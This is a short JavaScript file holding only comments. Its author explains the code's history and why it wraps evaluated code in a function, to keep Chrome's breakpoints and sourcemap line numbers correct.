//% This was the code I wrote for that.
//% All comments starting with //% are edits I've made now to explain the original code.
//% The code is pretty specific to the situation was used on, so don't expect to find code

//% So this file was saved as "x.js" on and available on the domain I had back then.

  // Q: Why put the code into a function before executing it instead of
  //    evaling it immediately?
  // A: Chrome would execute it before applying any remembered
  //    breakpoints.
  // Q: Why not just use `... = new Function(...)`?
  // A: The sourcemaps would be off by one line in Chrome because of
  //    https://code.google.com/p/chromium/issues/detail?id=109362
